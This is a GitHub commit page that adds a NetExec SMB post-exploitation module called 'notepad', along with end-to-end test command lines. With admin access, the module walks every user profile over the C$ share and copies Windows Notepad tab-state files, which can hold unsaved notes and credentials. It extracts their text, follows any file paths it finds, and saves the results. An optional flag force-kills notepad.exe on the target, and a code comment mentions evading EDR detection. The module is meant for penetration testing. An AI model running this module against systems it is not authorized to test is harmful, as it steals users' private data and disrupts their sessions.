Skip to content

Commit 0630e22

Browse files
authored
Merge pull request Pennyw0rth#608 from termanix/notepad
New SMB Module Notepad
2 parents a48cbdb + 74ecd3a commit 0630e22

2 files changed

Lines changed: 198 additions & 0 deletions

File tree

nxc/modules/notepad.py

Lines changed: 196 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,196 @@
1+
from io import BytesIO
2+
from os import makedirs
3+
from os.path import join, abspath
4+
import re
5+
import time
6+
from nxc.paths import NXC_PATH
7+
from impacket.smbconnection import SessionError
8+
9+
smb_error_status = [
10+
"STATUS_ACCOUNT_DISABLED",
11+
"STATUS_ACCOUNT_EXPIRED",
12+
"STATUS_ACCOUNT_RESTRICTION",
13+
"STATUS_INVALID_LOGON_HOURS",
14+
"STATUS_INVALID_WORKSTATION",
15+
"STATUS_LOGON_TYPE_NOT_GRANTED",
16+
"STATUS_PASSWORD_EXPIRED",
17+
"STATUS_PASSWORD_MUST_CHANGE",
18+
"STATUS_ACCESS_DENIED",
19+
"STATUS_NO_SUCH_FILE",
20+
"KDC_ERR_CLIENT_REVOKED",
21+
"KDC_ERR_PREAUTH_FAILED",
22+
]
23+
24+
25+
class NXCModule:
26+
# Extracts content from Windows Notepad binary tab state files
27+
# Module by @termanix
28+
name = "notepad"
29+
description = "Extracts content from Windows Notepad tab state binary files."
30+
supported_protocols = ["smb"]
31+
opsec_safe = True
32+
multiple_hosts = True
33+
34+
def __init__(self, context=None):
35+
self.context = context
36+
self.false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"]
37+
self.FILE_PATH_REGEX = r"^[A-Za-z]:\\(?:[^<>:\"/\\|?*]+\\)*[^<>:\"/\\|?*]+\.[\w]{1,5}$"
38+
39+
def options(self, context, module_options):
40+
"""KILL // Kill for notepad.exe process. Default False."""
41+
if "KILL" not in module_options:
42+
self.kill = False
43+
else:
44+
self.kill = module_options["KILL"]
45+
46+
def extract_strings(self, data, min_length=4):
47+
"""Extract printable strings from binary data, similar to the strings command."""
48+
results = []
49+
50+
# ASCII strings extraction
51+
ascii_strings = re.findall(b"[ -~]{%d,}" % min_length, data)
52+
for s in ascii_strings:
53+
try:
54+
results.append(("ASCII", s.decode("ascii")))
55+
except Exception as e:
56+
self.context.log.fail(f"Failed extracting ASCII strings: {e}")
57+
58+
# UTF-16LE strings extraction (common in Windows)
59+
utf16_pattern = re.compile(b"(?:[\x20-\x7E]\x00){%d,}" % min_length)
60+
utf16_strings = utf16_pattern.findall(data)
61+
for s in utf16_strings:
62+
try:
63+
decoded = s.decode("utf-16-le")
64+
results.append(("UTF-16LE", decoded))
65+
except Exception as e:
66+
self.context.log.fail(f"Failed extracting UTF-16LE strings: {e}")
67+
68+
return results
69+
70+
def is_meaningful_content(self, string):
71+
"""Check if a string has meaningful content."""
72+
# Filter out strings that are just repetitions of the same character
73+
if len(set(string)) <= 2 and len(string) > 4:
74+
return False
75+
76+
# Filter out strings that don't have any letters or numbers
77+
if not any(c.isalnum() for c in string):
78+
return False
79+
80+
# Filter out strings that look like memory addresses or hex dumps
81+
if re.match(r"^[0-9A-F]+$", string) and len(string) >= 8:
82+
return False
83+
84+
# Filter out strings that are just whitespace or control characters
85+
if string.isspace():
86+
return False
87+
88+
# Filter out common binary file markers that aren't actual content
89+
common_garbage = ["NULL", "true", "false", "xmlns", "http://", "https://", "COM1", "COM2", "COM3"]
90+
return string not in common_garbage
91+
92+
def read_and_decode_file(self, connection, context, file_path, user):
93+
buf = BytesIO()
94+
try:
95+
connection.conn.getFile("C$", file_path, buf.write)
96+
except Exception as e:
97+
if "STATUS_SHARING_VIOLATION" in str(e): # It means notepad.exe is open on target.
98+
if self.kill:
99+
try:
100+
context.log.debug(f"Trying to kill notepad.exe process for {user} user.")
101+
# To Do: Kill process with RPC, connection.execute can be detect by EDRs and module wont work. Or copy the target bin files without trigger the EDRs
102+
connection.execute("taskkill /IM notepad.exe /F") # If notepad.exe open by user, needs to kill that process for reading files.
103+
time.sleep(1) # Sleep 1 sec for finding and reading processing
104+
context.log.debug(f"Notepad process was successfully killed for {user}")
105+
connection.conn.getFile("C$", file_path, buf.write)
106+
except Exception as e:
107+
context.log.debug(f"Alternative method failed: {e}")
108+
else:
109+
context.log.fail("Notepad.exe is open on target. If want to kill process, add kill option true. (-o KILL=True)")
110+
return []
111+
else:
112+
# If it's a different error, just skip this file
113+
context.log.debug(f"Error accessing {file_path}: {e}")
114+
115+
buf.seek(0)
116+
binary_data = buf.read()
117+
118+
# Return only the meaningful strings
119+
return [
120+
string for _, string in self.extract_strings(binary_data)
121+
if self.is_meaningful_content(string)
122+
]
123+
124+
def on_admin_login(self, context, connection):
125+
self.context = context
126+
context.log.display("Searching for Notepad cache...")
127+
for directory in connection.conn.listPath("C$", "Users\\*"):
128+
found = 0
129+
if directory.get_longname() in self.false_positive or not directory.is_directory():
130+
continue
131+
132+
# Path for Windows Notepad tab state files
133+
notepad_dir = f"Users\\{directory.get_longname()}\\AppData\\Local\\Packages\\Microsoft.WindowsNotepad_8wekyb3d8bbwe\\LocalState\\TabState\\"
134+
try:
135+
for file in connection.conn.listPath("C$", f"{notepad_dir}\\*"):
136+
if file.get_longname() not in self.false_positive and file.get_longname().endswith(".bin"):
137+
file_path = f"{notepad_dir}{file.get_longname()}"
138+
139+
# Read the binary file
140+
meaningful_strings = self.read_and_decode_file(connection, context, file_path, directory.get_longname())
141+
142+
if meaningful_strings:
143+
found += 1
144+
context.log.highlight(f"C:\\{file_path}")
145+
146+
# Output content
147+
content_lines = []
148+
149+
# First loop to handle meaningful strings
150+
for string in meaningful_strings:
151+
if bool(re.match(self.FILE_PATH_REGEX, string)): # Only needed if checking locally
152+
# Read the file into a buffer
153+
meaningful_strings = self.read_and_decode_file(connection, context, string[2:], directory.get_longname())
154+
155+
# Second loop to handle content inside the file
156+
for string in meaningful_strings:
157+
context.log.highlight(f"\t{string}")
158+
content_lines.append(string) # Store the string value only
159+
else:
160+
context.log.highlight(f"\t{string}")
161+
content_lines.append(string) # Store the string value only
162+
163+
# Save to file
164+
filename = f"{connection.host}_{directory.get_longname()}_notepad_tabstate_{found}.txt"
165+
export_path = join(NXC_PATH, "modules", "notepad")
166+
path = abspath(join(export_path, filename))
167+
makedirs(export_path, exist_ok=True)
168+
169+
with open(path, "w+") as output_file:
170+
output_file.write(f"Source: C:\\{file_path}\n\n")
171+
output_file.write("\n".join(content_lines)) # Write strings line by line
172+
context.log.success(f"Notepad tab state content written to: {path}")
173+
except SessionError as e:
174+
error = self.get_error_string(e)
175+
if error == "STATUS_OBJECT_NAME_NOT_FOUND" or error == "STATUS_OBJECT_PATH_NOT_FOUND":
176+
context.log.debug(f"Failed for user {directory.get_longname()}: {e}")
177+
else:
178+
context.log.fail(
179+
f"Error enumerating shares: {error}",
180+
color="magenta" if error in smb_error_status else "red",
181+
)
182+
if found == 0:
183+
context.log.info("No Notepad tab state files with meaningful content found")
184+
185+
def get_error_string(self, exception):
186+
if hasattr(exception, "getErrorString"):
187+
try:
188+
es = exception.getErrorString()
189+
except KeyError:
190+
return f"Could not get nt error code {exception.getErrorCode()} from impacket: {exception}"
191+
if type(es) is tuple:
192+
return es[0]
193+
else:
194+
return es
195+
else:
196+
return str(exception)

tests/e2e_commands.txt

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -103,6 +103,8 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ms17-010
103103
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M msol
104104
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M nanodump
105105
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M nopac
106+
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M notepad
107+
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M notepad++
106108
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntdsutil
107109
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntlmv1
108110
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M petitpotam

0 commit comments

Comments
 (0)